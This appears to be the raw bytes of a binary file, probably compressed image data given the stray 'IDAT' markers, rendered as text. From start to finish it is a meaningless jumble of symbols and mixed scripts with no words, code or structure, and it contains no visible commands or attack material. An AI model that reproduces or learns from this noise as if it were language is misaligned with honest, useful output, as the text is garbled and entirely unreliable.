ʧot??S)Z^]Pxr+_inFӳf"WUOX	pfM۾/jY,G_Ew}y=9|x7c޿n~lfٙshݳu^LpS )N|k]Z?1Gy߅IwI"â/<-}7b+E[(.Uh^Gʆgi4j^|N&<<@wS`cyn[IL}z:\lP2[]~?y:CJ-yw@ϾTdB?H=wsOsV0gbF JmԵ6;tGoU]Vn9Z@SLG3ݼ{z	WRs[:JhOmCڷz9AiP$`ۿ7'
ּYwLT0<Z8)j߉kL4
H$&X}%vb6ٯ,:e=?Q~oguuG{a^Ou7~}Ws.۷}o_!Vx
‚9=	+:2F/<q8~RHռ.m©۲xڿ9wM{iIQ\Q4|Jji|ot+#֌dy?^ի/p_휘\w|4?%u)ki<Z
	*g/)XJ./W^I/T=#4#ھw5~L=ݫܤKev;kN+9O	=D
sr8M/EQuol^Ic_q·tO?wJ&չd,ex7__ܫ(.n{db0>ऋij4|$Z-+:gL:K ]X:\F
KľQc_U4j#VQb>_Q8V9^X
7f?𣞃)(؋n})UH>X>/}g}_x1[l.G?~8k@s!~ՕEGo<ETz6=`ܛw[`]d)G25A\/]Yܵo;1V`%{yf½^i8x\:?|5kҭsD&#}D<d@w.2ZF𳹵'i^Q?90sA]oکjՇIsӬ͡_?f1־T?󓧟 'Wrm:OMTT!{QFap|Юy_AUxΕlzB9u7Ƶ{fW&Ҹ5Qgp
qu-U#Ͼ|#^Yv+W"l8i%p&^S3ɛl=#ܳX=1~ѿJ?ÿw@C~<^y2¿~οG'ewa{F_ޮSϔc@rIԚ=ػ~فo~HDlW>>+m^nѢfG]uNG$Jk

=q`{:T/mQh$?LoOsYypy?9x]c/w]pp?xG؟Y#3fW7ل7{/utE;շyz~ZFt
po~8nQ|3z:Ϧ*}c͛~ {U}9s"t_wY{f̬Wbì<&ezr'E_
uS"3v0{q
KCU?`Ǿx'UOgSA{?O+5nh+ѽ'T'#69ɕ ):4V$nмcAI)j`mgyKȿthZ4>8ՒĴR=Vi$'(l-/|~
)Af:6I[wSz
TRй	2#c6<Q]&tbtn'̙SƔ\[Q4Mg6Ϟ
dB1#2F'm@xARX6U&^￳e&UHEk	Gzj᳽GkHTF~M{B0~yH-Q)1p
HS6:DXGLx"4~_G5}wǓ(}㞊>aM>Kcgey?bh=ߣ~?k t'ZkN\<U+:1}>Z\	YO<35g1,O4wWh7@+`gm=ϝ$|\\fUf(^Sicv܇艡s )m?T?`L\̬d}M~+ю@5m<m7J,`-.M=
'vz%ֻ!j9MLbΊXW	lbNy	31hɟg}q&=qWzgp7ZGkTl
y?9\ιU
bO;c*?<r&Z?z/%kZ``}q"df7~f
:8{94of0&?f
Qkk6oc#J=stپ1֟MEt=@\fU|մ<Z
͊8
[ 2ºl[[-̩!
$0[T()+8mXl=3̟RvݣN#Y]8"
gv"MitMlTQm@,#
t) Kڞg
D^\Y
xHI2xpsښvʹ=9<ċSߑyf<DJ"kJ
,O!=!cqyf<9PAU-޳i.X?=x+_>!@ki@c#&xUh$c'~8H+BޙNR@_>#"93R@Y^߰:fgu|?*%rùW fN}t7!}F2(z
k+}ـVwhg\TܑۀrpL0͋3˗;0KOl	Tp]6\'ZgG2ğj6lUZ-r#󯝮 [sKRw?{MiTNg@'g"mI\Y{%J睹8r<NNlx=A!zۮw	зu<1[8YhB:|\]n&b_hXת}gV?CN7053ӛ9lOvk<C)'EyAЬ1֔kfo\<qZ+3<{謺xO;_IƀY?#ecb@ӰUU߱czntG{e`gJW4صwҟ͉>jK;c$o緿{:mv}ɯl4*gK2
եy$?-|q[/	Aw%gJ僝? 
`[L}}IȌqSeϿu;ҵj7;{)t;Rh<Okqgן%@
;nEZQ\7=OnDޗGKf{¹;5jtތ_
F`Bzo]?C-=
t^47^ponI:ŏE<txؿm
XO_
²;
KOk9U^
ycyϿ>5R\h.@Adg{`v-%J+Mkϐ:̟T*M|w[Xǀpm* kvlX5wf3wwNZE_Sa"oܒ}Կl%PS{3a0`"OڕiC]lG7~؄8Ǻ}><]/Ɛ:s@1j0@Zt7_.U
Ħ2Y;s[)HڳZa߭K^>>OlYߵZL(pvmyZqx>c {1]ݏ"fjJ٤n$C|/γmgUM,MOsoHXy~Vk10kY{AL\z
s<
uG?߮/1Ɏߘ;nwK~d4蜎{svҚ?+%s?x]xޟ?os;3&sv_'(^cutAm>xˠ}_QNmMBRw?ʗ\u.&1w.m|=|sgI\tW.h;OԿFfZ>I?5;~?ֿ`=;AtUή@-qƔqNXWrg$T]QGOE/5oSD{?r\[iMXN#׬/˯
ܺ[߱`~9ly"v?4y{L_:+~~&i;GC羘	(orh*_arn,]Gܿ>?E1Mi͙`<-rNM8
@^
T8w3zr^Ӡ_u+CU'*vBk`	|	;jY%#(W82KJ̘}|Ew1,%ȭ/!52?qre@EjޣX]XyV g]2<wy5
|L^=qk%$ꙁfh"Ic%`W֥uK]="z-Y[=+#)kO_|Z{֗/9
|gԦ.b˙8#![i:~ߙg1'Psv
O=wB R\#\ZאĢnqV$SIzfhD&6[~x3[D#IIXVG>d?m}]lrqiJUh>!P?DPĜ͗ 5nQ!"YJD&,G_g$B	CG%;w)
Wn2jW?O.uR3[6YLǿ9_SɊt_㨉hrY=OL븥ǁgea8=|_
zݓ<28㋳TAιh^@3I^-z΋YU=*EU0?:r/
AWXgl4󷦏NC1vowx?㣠NJs߁֡Ux
0o]ߣhoY$RΜ>yםL=å)D0|dZW}0*=.bV|Nay8ٝXijN/<7OnQb!;{蝱vُŹs\NT
MϞqVlh [#VnvM?WfFfH=m_Ӛ^ч^{}sMr7XFpY]F7>}Մxdޜyf]
iS{bCus1ᢾk^gN&`2ai~!]|$0sV-vYl
{Cj3?GyEzpc4J#Zwy<ڷWܟ2ny0oyI+/t/|'淎טFvjjpy	8MFjj7.qJY\n}MkY|ﰂw3UPF#	[qg7ǿMևǵ^zD?P(^exe爴-%B{kPRp^sq<+퉟)6*-/Kݢ	F^%|Niސ+6hI&vkRHm-pcSO)Ŭx^ZÿsrbQ`c{B8v{9_1uh(@ZO]v)'ig*u$	%㌙z2Z>~Or~)0F*t|S#*NnݫpZaY.R+8dCY\
мלf	1alOI{dZyZC@p?Ÿ~*؇I[SE$X41Lz,,S1@I*"]s"
bg}<y9X23CHkMDq*+ ??ofYgu5CSmIoA ([r_f~,x=i/fp)N.g'Ic&~YKNMk?>F:Sbw+?*OdC‹Y/8bkz‰yfηL~ԕ\%;?Eb_Rr~Isx}xSf^:g~xmwj\}?Sy,Z7O,/ԡT=SXOݨμHkzMxZh>YjJTxv3x;3A$ː[
<"ξvcwYNPh^5o=ͧeX2mOm)_ȭ4OW{ggeUs\N^߬
!=@w}p'f

dYn\KˍȬ>[eKݝ 	dd̲G}?gbeU^J}/Sa^GVb7BnYawcM$|VοbTCMsެ,_sH<͵0,DvtvowAoe;dkw'9=ٕOe>Do1.zbQˌ|Mx+q>K$Uh9	S6W7/a<*pSC6IҝT;NnF)ߪ*r/?*_nџ;ǚ<V{F=k9|&Ȱ=g8W5	
vRY//ؿZȚ]7&	a{
׶nrv3T]xNp56zzLUWСM{(dk=TԴ9}|y\WvgB/u76IRU+2[/+jԟWu?ևnH9Xj㶍B`R|I$AsP݉5	`鉜I`jW$	K:;9/]v
 Q9χvpx>Swl+7>Cc;NL*%3bO}mI!d<pxB.Pce'},YOmSn	c	/Ѵ[APR5T

l7<ba̟
B$;lG[)V{2ԋ;z='	~2&f":3ώےu魯`aӜӽY@rٍ>&x/NKO`>}fVKOƐ(֞mJƤ0߸	xGz"\O8{^!\W4)8EA~x&5LGcxwECol憅\~kБj?؞?Ez(T0> ;}Ѓ]e6?G`-%?]m#"uQJ>ϳ#0ŻL-9]@Mm= x]
'd^9W}P\9~PrwygF&uUM7K
7R	(OĮ/z-_vF{gR6#'|z."~9 ǁo޶#+>
6yU"jpK~҅2Jtܳwb ri?ZϨto6b5-4u>"so~bO Om^F9:kĘ´;	SW_v
i
6v@BTl?oO	rZ|뻧''pO	NCnlKC)̱&9ȃ7ǽ9~z>\Oj%X=&sFeTIᰣhm;gl"MLHfanY䎀OJy9°!Lyjrho/ۿ5a>+BwZoS9WuϬskIW,ɁJ:Ղ$|f61vxYȘ]rXTM<uHnH/8d%H{A<Vu'r&'>	1z:t/C~ݠ	 55?XIw&aMmQ>tL\ޜNՐ(M=?~=<[]wSwĦt~qOXƁ T?Mtͮ?#؊	E_Y5'CF3honc4{JΝsUMI~)X@H+~軘mG|#
`hhKrXD.ߎZEo<-\JQMf؁_qfm}[=jicа\W
=z'FkMjtWÕ3]XIHxSSGNe{H<|t=ێ$_vGW<1Yw/&'/>e[\y[ :(pnVIN?UPm?|e;w6pSޏԎOmsxP
\eV"
o꤃Y|k=VCiࣥ-@9OL9o._P/͟LO~||;/].(z-x-]/ؚ<)_}_a&kq毨ZNH91"O}Õ?S#-
/5'vrX-.T;Cg#?ZҬVʝ29ܚop7WI;@5N,<i}`wk}xdtHoZ 	tv䵿M4vj,	 ~ ھW=?Erk;oyIg4K͕9r^p^1Y%s{_'P8V;Qg@ESEh9 ?}ScwWȼo>/!:3Fog')?g.6fBY_׻gûMC4ڣ$,^5/`ȯ~8Ӎά=7{nN)_͙U6kK'gby߳U5[?LO.4\εgÕ}wL`]+r_N(>7q<S'o17k'WOx~vEX]sHlO^swf;\Hi֙Ծ{HdcW=hGU3Jo-̳[Z2Ne6k?>c6& uh_g(V{N#˜nj;τX!y,>Eor4fjŜf?@s5N3'C;2)I
t89D?zope?8lrmܴ]=D
EW :X%&\s_%P򬵸ٲYX9kȀ<2p
iEY/:q}<^oVZ;b&y!)cN/~[&~o.zkʸJ8:	$꿭Re+F>b|$};ytYv y?,l#6-o!.blGsUjN~	y6h|ܻY0=[S4;@\_)D퍃>Wcݳo8Z?m7Sjw(:o'Ī0?UےNq9c=qU]v>H/{U=-!!{/iOoGwl=|{uw:}U>o6x?+B6pb,WJ\?}v{w9>>ޟ9<??I[{θf	65>[ޡ6Yd)z
3{wpOX,άNc{v*yy=kϺ\Nr=^7tV!k_e
ư/_I?,Ɂgmd=j+k$~أZ]_GoAJ1o}ǛF9{5KTcJxM8%}:>>n7y:e\*i}`g|Lmy /&ۇ$pEc W':y17e9䶡xLY]NJ)LᶜKԙ@k')Nm~7;[~%ɾY֑Ym`ߓFcJ~|xk~~A*9׳{
Rjx}r޻rsp\Տkj4*O$P
ϸ
}yzo9m?/{)[+GAk3Th?9x_p`jsvv=|zG\%**
Ի^?NWQw<2Y]$'|69]hL}U@yqڏbrW)UbsؔqPE NhԼi
V gڈM*+xQn'LB׳u`_/YT
D~?MI[.0i$Tg#wZ_Ӕ9E;o`ɗ:#
~]ܹL@EK·dyqV{2{U(oJ=>{KT`L2sz;̙S>[_
rdV쮼μ=sGfOΘ/U,;#ÆN9й	Ms?5N"d&OIa|.4pek7E>CR!:!p-H&	aVK{5"ܰ+_${vR)1OvgTr_m?~1#9uK?g!PbuIϡgcKK>a\хCa o%>CqƖ3sIJ</-S8?3o𽿿܏k:C2G.|yw!˳v~>͍s=W@/i+I9~`=gCӳj\Ack;=קW[yr_!mukv~f8jY}TL֣0xX!:"sgyzJi
9ᥰܷzOtrDGQ	`ˡKEHa|ĕ2k_o~.x.UC?|`ʗr3&tf/ѻO;w{&e\
M)nfklʯ(ľOާB7	Z<kDW僭>:.ݿ($^>M0t#oPxr]p3Q7̍P?f^,둍#[a?4̞˘-g~-CCs?Kny6	\ʻnl%HBtk83!ad&xJ	k$j00EJN7|PIVm`dA)T<ޮE[TY8ǀ?RepsF
	T|Bv2["KwH6̟		+Zkly6x~'zJv5o/m.Ӕ߷w4/Z/}g9ĮO{?Vfxg~\4&+1!i2nfY@uJ+Y<;Czsr>_rNX?TjnQ/?[dJ_ʶ_4Q1X&w~Ĕ/Bo|H)G_[kZ*O;gݾY_ԍ}I݅
31|3D
Ѓ07	55c;gS"}/HG}M2<OL|sNegBFwzśG5spNP+kH9su~W4	:|~'~־wj/<}×yJ[{3XGlr@KwOx'{&wdmygzb9lC_H,#i:ۜsV3^s\) _O\w/=9y2gu?|7x<eS߻ݝ0'|`_{
&vwܱ+%ݿb/46=
n!F^Dtq+uVC)=O{['j5Y5f43>0	j)<Ӳ({Un?SHWCn5y=w?`GW^kn{
L=9Mc_|4fnճ?˰^of4^/=]3©AʻSqNLOv7p/s6ٮ&O:b4)	/[SaX˾A+!z8`nqqyOAoC'KRF#gT_7|6Eؼ'mWy#c??
yZjr\#9|8g*S9?B=S=Rխ,]bsȢP7 /^v	u~ _8$J?hiK#GA4-ju	"kv4	3Ѧ ǫ5beFSkR|b_U2 c)!{K`@3U^xn5ISvbg?UEU|dMLrGnxmF0Q~Ƚ_W	_xhX
 %ꗼadZ?`R
<C$j[}/`MfH>O?`
_$`2Ztl~y26{zLX˳Y^Df{Ļ"[<.~ɝ5kH
i~0X)C{ Sg|:էGܻ"q6JUSo]Zr=3_Idmq9Z|<>~ҙo7Y[?Z5e7O%91OSSZb9*(7njx؝?q?[>}oY5[++S>Ncuy?vZH0̢)9|Ox#7̿wۊcxo2{cwS
.g~Oώie/߅wdP2ckyK<sLOr9O<i]-uoE0~<*l;>Y}t?nf2~緀$[YS`#oWLW:/~uKPi3&.=Sjy
ogͽcޱI7LBvAESGZj uuSNT[|ᚹ;38O{f98m%[̭BI1'sgvkA2ݟzX|1ZCISc85,ttwrpoX|s,܎YpcwUS?I\KZ@_q)'Nќ;
pΙṳ9[[NreRl<s
<C !/_oL5Lo=©DW5,%3ϊ^%L!3oyd/1;3?u[)N^<
%ȟwfX?b%?ɽB]yI_pq
?srE9Q!lg쀠Nn|p{VNʗgQ`v⦞a2|vin}dN9e迿[\&XO/,9A
?\tRorBb$`=Z2CrVi{Ln&n"NLY##=.GV>)ϵ4ԏ8wRH.|,N=<"PܶIҠ#BzNrtRZӐ:6\o|)SeK[[`Ʒ|ӱZo*qVfDվ}cHc+>_zo*5y_'YLT(*s2=J}b_znD}[lm꣠-~Α#"}X&*u	dzWpu]cNx}6oBIVdmMnh14C$By/{^ 뀱.3;:<.ߜ,ު:Gi8!\o)V;<v#/=?r~D&TсU]ɻj烀-%`lC4U&dfsЃD+.Kh@IDATu:q c ?`'No_[ry,vx4Oss'g0p}|;nB){~4i9|GЊ|Sqjkዠa?$1Wv1Zc	i(;S9:aNxkܳO&WGte[g՝'$
pz̈́V2c\7y$ڽ/AOf@j̤? d=	g=xO	:ѭk1>~-6x'p3W0͞Z	qN??T*Z;4{?J3y>9o,YwhY<5gbϜsQb./NLaNrkDhƝ4U%oluKn=Sg,
,|+1^_b,9x4d؞M/7ʡ]iWfVl8q49Cuߚ|aI1Ӽm欟b}<LTk.@.s\F}/cjsfE}mZxX;X/GyZ屽N$Hs^&ghLDO+W
2~r'xa]xt
	Iǔ;X;{hk^2Įu$<GKj9ap 7}j.d'zgfDgbk(_k]\ց=f4q4ϏQs>6kZ@˵n?H^ʥy#AuV&YѕCM&97bYegwlAn20:{+o:X؎b3HVakr#}bsMY
;ݓgT2eR;>1-왻(`ߑ2*5dYGqעX5ĞN:˓La30WGybj}LIR4%`ҲZ˶OYpDlf)/g1MX%)9jnv2Nű!pZ:N	ЁUޞ-tU8Ag!}ce?nd~v/0ݞ5¢GX{G7w*9YQ`=o,xwXM]2B1QdvE?q߯On,O!b"ShjMQkEF1.::*<C/=즖m
O$sь?wߴ߿9]7B>4$FVx\6sֿps[)h;Ɗ;<b+G=	(X!*6( Nakn1E]F.	vmw%V:.glzsfArr.IS7'GZK0E5a\;skoTE1}޼?q̼Rӽ~v~'YmJLOg~z_˞2}ݲh(TSlK@t4z8\xT9Fl\(&}>h^X/5u2^]`@F.|Vrzdӓi &IN!d+w$+ '8xfc\_ߟxyF8-70p<5D3bMQpӲODIh̺wI4|xLK2Zw?9/c`jKdп<77  gL(#ө/	s$jپ4<=TyGXj*ҵ9V{CB@^C ޣmryCI.6ŕv]zyґn k;>d acU_1+fw(9+Б2aW}?>Up|nwV': >	Frɟ,'y~oVܻᵛ֍K^$y9_~(8ߎ),w֯ػC-AG
،mOA͜ PLH^v!d7<EOx^y~:k~~T0#L~cO	]gpQudwrPN֎JXH5{sUJ~j1D=g'qHeL'Pvz>m<
ꟼJ0YUIe=˱+N(~aYV<O:O\%}󮔗`W通!d.E{ؠdC.W<)݀+#Rpz,.^ȋgзK<3i}}m,_rdsAPﵩr&!p2}OONGXr3,uuf)&+ Or7K<r{=V:C\-/qrdαIL1r&3WSp|05D?ïZq7ʇ=	\,ο?fy|po?8s~yl'͐`i-)މq\vzW@z`Ok9!՝e7\N߃-{j9h3 ܄Yu1OAsa1//_:!e9<{D@?y
C+0>̉i9/=sbr.d{u'sby-N18=r5Ŵ9Qg
Ǚ:tگQ}B>.oŲ:ץKK[bxӣn$.Gהd֨{i{:=4?)nx]Ʉ099W^G 6~BP
p)}ߟ\QP,|g75I2KsQY3pNwuzH)~PIk?A{!Iョ+r!	1{jW?)s@%nR+~/o?)g0=sI
g@I:Δ"g&]L.y猻ۆ#UkNdiyp 6/!B䐞(mxhJ6߾e;꒛MLpEm3*oЩѪ$g%b20ԇ	r\۫>f.ᱣCgI/ئ~r59y$K@z³9 e}aΐ)]E4Wޙ'q	qsa{kZDr	Oiqqո}L{fF5B`F*fޜ)Fk0CNV6B$a$g?3ص9&O>Z]t<(f2J~
i0#˥Z#3뮟mqqkVyO9|^YRLdJG  %f.5LO߳ij}ӊf˻,IL/ɕ9F'V6[dT250Ի;)95L"/S#cW[ZKʻ/R\5iz>{.1d;O!؛'_MxO}|v)|=
AJYu(xNͧ:FĞ>1ȟԼ|O]L9˹!k,rH
u
do޿+gqfMM@;Y?35i xL,}C0ж.4]n:UDEN16o{^$:^ɢ/x F+p}^q|,#>gnK쯙x2irdvgFPNãJ{=;xV,H!bd9q%|kLmkw^X&(^Fh0nٓJDKwRY܄?-p$:?n_iR+eO!I5d+"?:{~V[gƏ*=	4(ˉWM@[Ռ^g%Ô[]K{$KiY}5o拄kԔ1NNJrě.]PJ>8[_(g7Ŭfhcؼ7<xFsAK){9}H.s>ۀ]+/͓i<z^klj
"պ񯜍}vpUMP#CεB撝?W/%^oTu=%gHHypOq9~ܝQp뾛S_7>u܊P[3?{pc?Rٍ?}KM16w@ޛ񬥸|939o_#[&u#ub\k2YW澇8¯	4pUS=8}eOQ^ r!C&VvOEXCnswpķb'\kx'qfޏ?nm~B!Ec[[d<$w՛zοW8Ժ}
H>tJuG/ׁ@@f}%w8̞k*:qݚwҷ;O$םT&1I3wZ?ޟ[$~|qYY߉hiR~WeD\Re'L~sh=d*g&_3U(NNg4]ظ^<`19x<!iLNgӷa
g4Xb;kH[cOue,㷟Sߵ귝y
P&Dxl
fߟ8,~:s&'g)tg>Mક=7&߯${W	6ؙ#WŸ|ߨv3;?3kc̉wFs@)6
Jq~)j+/Rz_Htq?;os
v#λ{|}0ut[UJx~~q¶{l0>p϶eC?'H>0Ǭjxt6qi%Vm{%ny=6Is) j(~+}wVRxϠZ/]v-4)Oީ~o<d/?V
]9rc<1gծY.MMUΟR{f]>>2˟	뭇x5?: c&/'s{V
-ieM:F`ᐛMJ<S;ƻC{t}`";9Եkړ\::=4=Y:dpb9oμپP4%@89dkh591D5y|n=?DYџw.q`Vk~MjOKto/>aR>CYW~"[5=|l<?q%o<}cUoܳ`k	Ꮉ 6# qV˥N0Z9CtQA=v4Qnsy?<GR7AX#qVΊR8Nl$ovs
9s͐yJ6XRWZ߭ڸy*ѝiΊ|y+vۀdFSxb~ڊMj!a7TmxRGrÔdFSW S Bˑ;}!{%g}^RSz_8t@W:˭XG[w1YRДM0$cFV;dgXs&nrW,0*4yr&\`N1|86vs^.)Z2SoEY0Ŋ3V3=ǟ(|<Pk43ܣplq/@
߮\>o.pU<ᆒp8&<gm0&R$UOpDSiQgp&_81j̚eM>;$^1XLAx7;wDCΒGȧfJzXx˽A`Xqާ>ܓ{th{Y"{e`[0d:C_d2tÀ%c6:Qg
\^r)2i>;O52Mr~f.zb9G+S
?iF
%KXp+V͉5\5D#T)0!بy1>4>}d_xj@",H%w:pz|Zg|fu6<N)x(&l?Iۋby wo+)ZXe!N"q[ΌhRg=;WS/:8ȌeʻǛ5sOR(2naJo=ޮfIxџ!|5lG@fMu4O1f3R³:37<Ncy(u5yh`&C*꩕S?5sH
 ZG~`*C-9YJ&og
xlS|V/Z<EK5}hw@G'e~wIq`(ͽw5>OcwcwmxjHкϔKj.CEU_ʭ~0zn1VoBxW~[;dՈBs/OZXm>10uHkUHYF} xlIݙ̙msyGkܕ]O-e`'QG[.s/<Z$p.I?N	+#'^i'`ROq_!PϻsOaO9f'U?^xh:(kgI{7=|&M]|?4xԲ8tZ8H$׸v(IfbC8˚%32R:3hۇbrJD}!Zo
61O[r@mD);+{ƃsPwP62b(8ɇWĹvY!oö>DuL}IZ*>1Mri	Vy
~WlGnArOA2DPK<8/J^t6.߿'=aGkYP;v;xI8z|I
pt8xjއVWp^}|"݅4#)3?LҬmv|Np4<sxHs~6/ͼW
eяpqg̩a8ބ5N,pZ`l5N-#;DE`V8o9噀}W?<gBSƢq!{N>_M9onn+)wsGT6XXq9ݏqYyMO~(shsexV4/~Tl,ʸdg;U4b>&]@zDsE
?羕ߝh
[2|s<Jלә.{0
Q|A23iqP+jdt&py~.x
CrM,]gs;89.ׇ
nk;sN}(upFdFߐx;s0ީA^.jݠ~+D3w	WWang߼O,uأ:ڂw!?3飜$׍h"hS^"~P2Hkr*3vC$
|T%i;њwz^9&v='
ʙꉼRh//3*Oc*4K
g%w	vww/Ȕ/JESy?3wp8g:P7ך%0<:7,W

ޕHa]&Kv~_pA﯒6l^L֪7'S40tLwl:wUbfa[ޟ_ב_{HjEkoq{"^2 lUկ<|c<&fkgʈvu&@*wCF֑(p{	{Ar
9?_CyojnsBOUX|gw<1\Wi.gUKf$Pu~?!ԏ~β3oM 8yz"p/;jHLȗ' 
@(ݽWᄑ_ٷXi?^kO[r~3zF2~ZOU/:}~qؙMcʖnsFӻ& {	ϜRo~=Y>tyï+m3crJg^_";~a$ϗ9tn
~'99mI#ݮܙ\gvڴz/d9ֹΌپOіC=uNCpfg..&l{Pldg݁|DXїDW×ej^:(	_OW&:Eh~*dִW};)N+_`m;pzP9zǁ"-ȿ܅Lwk߼'C+`g9()}\c 3Ɉ3o—O%NxG%0n{EgkUD'޹X׎T5-y?c9xƣ']ʻy՟qd{/s`.|B8;Aݙ!'sIҵS+/M>dĔt%cKY;3h-
q_SȲ	T*J3d'ُ#ŗt7~}	-cm6o
V&I&+7z	$;FlOS?N%~BRrs@'{;<$x8ɞ6jSJm-Qe˕Ϲ>Ƒ\NCAit𳥼ɠLvf.䤏	ܰ^G|4Y}@o+GAktYfJ
`Qy&3ot'UyjE<מr'a9]Bs|z"Hμ`
Y.OC?EBAVܣCǰ:bpd>>=O%QS/o#١a&
4gO1Pšt۝('odRЖ4=8*ppZ'cxLc<
Zx@@*/%c}ɑ|QcjO-c侓r{<e6<?3	M	\:K *ٳj<>y[pm
pX3|.)+ch0S"!ٲ'S_ef姬r_/Yצ^NxuбhΏ`j^鷇޾E.zϞ17AyJkk؊sW?<?	(?kS<%?:~{'$x\,q;	M9ڞ?'jy;J[Ǟ	B;^Wعa upY>Kxc6顟h,'['WXd' [v}WVŽЩqjA5w2l4$6e<Yn56:xTxsO<C)>[zP$dw8t?|Hą)Ň K'!|PO!Lhk
PG꬏Tϋ$PثL:naoR}ZY8SUeDLnBR.me$6h"xj6<JoI5j"3?-ӏn&ӂe[/\]A;n7KR<c&0p3418M9Zmн<~%C=pީ 2bsjFQg<NA|8}//Y{q}2bE!IgDix!W\R+#joTmoAʫ-=u3wwbҗ,yOp;g3N=+Ls8ģc|_}!VΚ8C`SvJN<~ӝ]$~?]C<l@e(4kTKoF!ΖCfN[_g"%9X4sWJJ&]=u5LuYGtLfߵ"A+G830V&Jrwq^Eg_7F'CJ%\yRuΖw+"K]͞;~mI,c>NbIF:O}fU[ N@-Qߨ3ͫq߹Ozk;JGUr_|)F7ϔ=]CuVyjsHSSV?ڭ|V4YɽfTl$F}d]}ڙ}w{ޕ/mWlN;VT߿{~x֙=Z57};U{0fʼ'29lrs{ռI|Jj]Obm~%ڑsJpЩ}fZp_3715Y.&s=x-Dtn<	<˵3SÕZcWW?}-h!]Uwn!{DiCqA#G;G8gG@!%Ľ7xh:ZĨΚp:^w*Q'r4ia6I|v
N+Ўmaɫ0,h/C.u?ɓ:YS?^Fb1\!{fǾqd_&SU9ҾYH[NMx?v<yͰt^}7ֶYN=N<h|yW:+2cl<?ϬH3:XM4O2Glf<8_w?aWepn/rګ=sS6{If oBz	g33Q]'E<M\F$WIq~"NP|QC}z&cI
bD"::cr-Ap>˰<Fk.K_S_F?	<J~#3Ʊ]v*V<\3U,2kҷ9f"x@ %:|;?^;lSpK62Cb{kN8;|1쀴	<_gMs\
AxۿUp$ϻb9\ڕZ
	܂qՒ-
g>m#~,m;E̩:#6Z|W %{^CJm4E'wy|7\].r!5~~'ߘ-VAv&9Z;slWa}WzʩseJ2[Ih4f)`JzB\IbӲgcgb;yBC놡b~y~&kxF/SM𘅀9Oz}0w7߭a03gD.{7w~:7wA޿ιNϠ=̶<Ө;"zS϶|/pճGSHc:6[QvRaYB`|x*&Mh[S8Iww(P'oVw*`=mgư+w<w}aչ?t%@}{n8Ltvs;6ĒM1Mw}0$>#Vlk
YMU[	-!u?E)i)z)wQ4{lQD(HTpMC ]J 9w@faW0(6L)8])okI->*4$RJd/!q'}PFKb|q]ū'
$X|"5w1Oʒ~2?\0TcScDϥA*Ù#δdl,vQ"^*?CPu:JUXm9'$X	̞yjf1~!ma:C*gzX=p9(j,|A}G=N})!
#;ΙT^?)#Q@Bn	W<)ûm'Oړuy4Xf1$iS`迄0;}MoB= ;Q_$T6$jYLZͧxgne @.G<uM$5#]{Ւb;Ru+VqS-퀨2w}l$Mf|C~˻YI9C['3sH ]gT.N:rҶy'wk׽Z^F<%yG2'v:Сf`ɰ8{!?1@zK>?՛rG\gT5}k`BH{5xNԯC\3R~1:ut'yH5Ɓr%4s=?;֚)?kNX<5?KJ=h{5
I	7)e$)xsH*XT?7$/Ӹgg[Krp,7OvXGd
&-~uy\/~KLNt0mw:[WIA[#ߟzc'Ps.L=/=)Rٓʜ8i;1OO
W2v-(3F˧mmqOjKUnzPZ_ԇrR^&5-c۔1.RU<!3dY탩H81mGcj ؾG::Zn;`>FM`QhJ{gi}`í?קgOھg+H]۶<d}/o
0~OCk~ų{9-L(sN?\ꭳ/^!s}C\v6sV|JDcMc֣~2džu՞õk0N6Q}TY޿?<o_'%E'vL\&cd	??j54}<C^ky`qz 7viPVf&8lGlu#!{q)*os\x?aO_R?ZLG?pwCb&It1t45!9h%yW}o!_	/o_BA5
E"a𶰓m"H(4'ly7yf^}([ݚwX>O_njobzVx7H#8IV7gg/]sW'?9p_LZ-\_7Ik|`fh5Eo/CUwg{!7D-df53y^jPRhj
{Kz.t\pd!1<_Ʊ%'mǺ4)`sP#z{ߋFl"4%"+f2%{WN el~R?t"sΝzKʻ7WΝRToM{}Sκu6+DޔonOϛ]ྉ#x@'ܾ߳钟su}8wޝSW?@|~syXĺ>BYV?[k=oApo{7;Xy(}Vy{^q?g'kj߱2]|zO\;7.B;hW?L9G=
̩>L>:ρ=!8:xݟM	Nynw̂!ᑖ{Ϡt}T`M.Pgg19/0Yw&48ops8RGֲst;q<<=~4ף9v>=^yϨR/}WϹ]mC\]o	kgNjCTlNIRug_/We;-wH=%.C>nջ:v~ܵ+M)
/|a+|‡&3Z"L<Թg^Rk;k:t] '߱;jz}OG/cjNI_/.ң-Es3v-y\
}O~=InJ>Z0fϸ9pplv76[Ut\⅗НNacY3U;*nEnTzrlHyPN
:xK߆B]W ˜tgPk#@j)
9:yҾΗLS6X$q.5"A[r	y=ެΙwxd5UX-L=zja &}((bɃy?dfm}D߼7&){'j/{P?q9Rp	ި9^gP]1L+3/OW(dg" e<,D>~kfY.F]OG7ZCj}!IםzEľ}{O/H[d!c?RhB]Tz_
,ދ1Ձf:Ok:ek:/i
o|ԟ,u6SEpŮAR_&zfߏѳh媎*5; `F
>CC'1# .q>׀`T~dA	3z: >{Hԩ|3o͏?=F-U🇏o~ϹΝv+0lz-;n,3pHWNs>`mY|~'#(7?M/N9tSH@\M	6_"Ppr߿Nts7+Թ~57љi2U0)#<pQ#H|?űv^'f\t^.syax@IDAT*tMSn.@2WOWR̪{`{a՛Ọ́܀PBT侃3u2{;#>pl6F{NJ_$͓{/S/|i]/}ɷszY
`%~O/J$~??uלclXrDפK|`Cգ`'~Ϲx^K	<n><}~N<kOsGI[]2(ߣuP$LD'.?r\~"7!q~I
xNDy(ӧ[h鞰(y0':\ǐSϺre1:c|?pÀB`N/M
|-	L}?\z*'Y:۫.= {[XB&b8i/iNj?bo3~P07_~=_=}D\Q.>LՀ|pJ$~hſ|+mGLI]G E_/ɑ'd9üt?6MuGcJם^2
!Sa	8>vnbmCgܣC7'o~{E9grX
#4+vxTqξ|k9p+<UoN~e9Yog~u共"s	'6c$18sߙ\F0)R?HH
;gHu߽qʾ^oWm@'GߟīK,v'L?>9?}~S^%4)qwPtdFW8̳5n	[@[5^4U@1:?Zͼf	!]VԿG?ȗgwg/kn RmED(uu2R>{Ov~o~=r~0ϼys(=ÿqu+ӕJ?@5,{9J׌I_͋]i<nO
p*s޽w13xï߫=0,EQX|/GGs*])g0%9ZX<揚s݀JOJ~'g#Lb<tۓZUz:OlkaD{ŏ´eSwym5Қ-D֨&j]PSz2o7FíBO'E{~S?k|pZ̵Z`fC:hCj.j遤zd5WwH讀)M\Zjy9e`EY8꛼
s1"(("ل9ι{tޠpXEۿJҽ'JV@bUƽѝiҎ;]}56>%oI#
